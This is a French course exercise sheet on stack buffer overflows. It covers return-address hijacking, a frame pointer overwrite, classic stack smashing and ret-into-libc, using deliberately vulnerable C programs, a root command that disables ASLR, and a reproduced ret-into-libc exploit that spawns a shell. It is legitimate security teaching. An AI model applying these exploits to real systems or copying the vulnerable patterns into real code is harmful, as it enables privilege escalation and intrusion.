Stack Overflow

EXERCICE 1 – Execution Flow Hijacking

En modifiant uniquement la fonction `foo`, faites en sorte que la variable `i` ait la valeur '5' lors de l'appel à `printf`.

```
#include <stdio.h>
int foo(int a, char b, float c, double d) {
    char buffer[8];
    int *ret;
    ret = buffer+12;
    (*ret) += 0;
    return 0;
}
int main() {
    int i;
    foo(1, 'a', 2.5, 2.77777777777777);
    i = 1;
    printf("%d\n", i);
    return 0;
}
```

EXERCICE 2 – Execution Flow Hijacking (le retour)

En modifiant uniquement la fonction `foo`, faites en sorte que la variable `i` ait la valeur '10' lors de l'appel à `printf`.

```
#include <stdio.h>
int foo() {
    int buffer[8];
    int *ret;
    ret = buffer+12;
    (*ret) += 0;
    return 0;
}
int main() {
    int i;
    for (i=0; i<5; i++)
       foo();
    i = 1;
    printf("%d\n", i);
    return 0;
}
```

EXERCICE 3 – Frame Pointer Overwrite

Lisez l'article de Klog, "*The Frame Pointer Overwrite*" (Phrack 55) que vous trouverez sur le site du cours et réalisez l'attaque qu'il décrit sur le morceau de code suivant.

```
#include <stdio.h>
void func(char *sm) {
  int buffer[256];
  int i;
  for (i=0; i<=256; i++)
     buffer[i]=sm[i];
}
```

```
int main(int argc, char *argv[]) {
  if (argc <2) {
    printf("missing args\n");
    exit(-1);
  }
  func(argv[1]);
  return 0;
}
```

Exercice 4 – Stack-overflow classique

Dans UML, en tant que root, désactivez l'ASLR (Address-Space Layout Randomization) en exécutant la ligne de commande suivante :

```
echo 0 > /proc/sys/kernel/randomization_va_space.
```

Puis reproduisez l'attaque expliquée par AlephOne dans son article "*Smashing the Stack for Fun and Profit*" (Phrack 49) que vous trouverez sur le site du cours.

Exercice 5 – `ret-into-libc`

En considérant le programme vulnérable suivant :

```
#include <stdio.h>
int main(int argc, char *argv[]) {
 char buffer[16];
 if (argc >1 )
  strcpy(buffer, argv[1]);
}
```

1) Exploitez le, toujours dans UML avec l'ASLR désactivé, en utilisant la méthode du `ret-into-libc` décrite au chapitre 9 (p. 52) de "*Exploitation avancée de buffer-overflow*" d'Olivier Gay que vous trouverez sur le site du cours.

```
#include <stdio.h>
#define LIBBASE 0x40025000
#define MYSYSTEM (LIBBASE+0x48870)
#define MYEXIT (LIBBASE+0x2efe0)
#define MYBINSH 0x40121c19
#define ALIGN 1

void main(int argc, char *argv[]) {
 char shellbuf[33+ALIGN]; /* 20+3*4+1+ALIGN */
 int *ptr;

 memset(shellbuf, 0x41, sizeof(shellbuf));
 shellbuf[sizeof(shellbuf)-1] = 0;

  ptr = (int *)(shellbuf+20+ALIGN);
 *ptr++ =MYSYSTEM;
 *ptr++ =MYEXIT;
 *ptr++ =MYBINSH;

 printf(" return-into-libc exploit by OUAH (c) 2002\n");
 printf(" Enjoy your shell!\n");
 execl("/home/ouah/vuln2","vuln2",shellbuf+ALIGN,NULL);
}
```

2) En jouant sur le code de retour de la fonction injectée via un `ret-into-libc`, appliquez la technique de "`ret-into-libc` chaînée" décrite section 9.5 (p. 61) de "*Exploitation avancée de buffer-overflow*" d'Olivier Gay.